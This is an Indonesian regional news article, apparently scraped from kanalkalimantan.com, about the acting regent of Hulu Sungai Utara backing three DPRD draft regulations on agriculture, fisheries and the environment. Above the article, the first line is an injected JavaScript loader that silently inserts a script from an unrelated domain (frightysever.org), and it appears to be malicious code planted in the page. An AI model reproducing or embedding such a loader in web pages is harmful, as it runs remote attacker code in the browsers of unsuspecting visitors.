(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Pj Bupati HSU Respon Positif Tiga Raperda Inisiatif DPRD


KANALKALIMANTAN.COM, AMUNTAI – Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan memberikan respon positif terhadap 3 buah Rancangan Peraturan Daerah (Raperda) inisiatif Dewan Rakyat Perwakilan Daerah (DPRD) HSU.

Tiga Raperda inisiatif DPRD HSU tersebut meliputi tentang penyelenggaraan pertanian tanaman pangan, Raperda perikanan air tawar berkelanjutan, dan Raperda pengelolaan dan perlindungan lingkungan hidup di daerah.

“Pemerintah daerah mendukung dan menyambut baik atas di ajukannya Raperda ini, mengingat tujuan dibentuknya Raperda inisiatif ini sangat membantu dalam meningkatkan kesejahteraan masyarakat,” kata Zakly Asswan.

Dikatakannya, Raperda di bidang pertanian berfungsi untuk pengoptimalan lahan pertanian tanaman pangan harus disesuaikan dengan kondisi geografis dan ekologis wilayah.

Baca juga: Karhutla di Martapura Barat Hampir Bakar Tiga Rumah Warga

“Ditambah dengan pengoptimalan kualitas dan kuantitas serta keanekaragaman hasil tanaman pangan sehingga dapat meningkatkan kesejahteraan, meningkatkan perekonomian pembangunan di daerah,” jelasnya.

Zakly Asswan berharap kepada Dinas Pertanian HSU agar dapat mengkaji, mempelajari secara detail Raperda tersebut agar nantinya saat di lapangan tidak ditemukan kendala.

Sementara itu menyikapi Raperda tentang perikanan air tawar berkelanjutan, Zakly mengakui pembangunan sektor perikanan mempunyai peran penting dalam pembangunan perekonomian di daerah baik di sektor pembudidayaan, pengolahan dan pemasaran harus dioptimalkan.

Baca juga: Intan Banjar Jadi Logo Geopark Meratus, Ini Makna Terkandung di Dalamnya

“Semoga dengan Raperda ini pemerintah daerah bisa lebih maksimal dalam upaya melindungi, memberdayakan serta memberikan fasilitas bantuan,” imbuhnya.

Sedangkan pada Raperda ketiga tentang lingkungan hidup kembali Zakly mengapresiasi Raperda tersebut sebagai upaya pengelolaan lingkungan hidup, perencanaan, pemanfaatan, pengendalian, pemeliharaan sampai dengan ketentuan pandanaan dan sanksi.

Baca juga: Mantan Bupati Kutai Barat Ditahan, Palsukan Dokumen Izin Pertambangan

Disamping, penyampaian pendapat kepala daerah, dalam rapat paripurna tersebut juga diisi dengan agenda penetapan keputusan DPRD tentang perubahan Program Pembentukan Peraturan Daerah (Propemperda) Kabupaten HSU tahun 2023, dan agenda penandatanganan kesepakatan bersama Kebijakan Umum Aanggaran (KUA) Prioritas Plafon Anggaran Sementara (PPAS) tahun 2024 dan perubahan KUA dan perubahan PPAS tahun 2023. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Risa

Recent Posts

Dua APILL Disiapkan, Atasi Kemacetan di Panglima Batur Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menggelar ekspose pembangunan Area Traffic Control System (ATCS)… Read More

35 menit ago

Dua Bapaslon Jalur Non Partai Serahkan Syarat Dukungan ke KPU Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Detik-detik terakhir penutupan penyerahan syarat dukungan bakal pasangan calon (Bapaslon) Wali Kota… Read More

58 menit ago

Bupati Lepas TP PKK Banjar Wakil Kalsel ke Parade Budaya Nusantara

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur melepas peserta lomba Parade Budaya Nusantara, di… Read More

2 jam ago

Tak Ada Peminat Jalur Perseorangan di Pilwali Banjarbaru 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemilihan Wali Kota dan Wakil Wali Kota dalam kontestasi Pilkada 2024 di… Read More

3 jam ago

Kebakaran Dini Hari di Palangkaraya, Dana Hanya Bisa Selamatkan Anak Istri

KANALKALIMANTAN.COM, PALANGKARAYA - Puluhan rumah di permukiman padat penduduk Jalan Mendawai Induk, Kota Palangkaraya, Kalimantan… Read More

6 jam ago

Amuntai Expo dan Bazar UMKM 2024 Berakhir

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melalui Asisten Perekonomian dan Pembangunan… Read More

6 jam ago

This website uses cookies.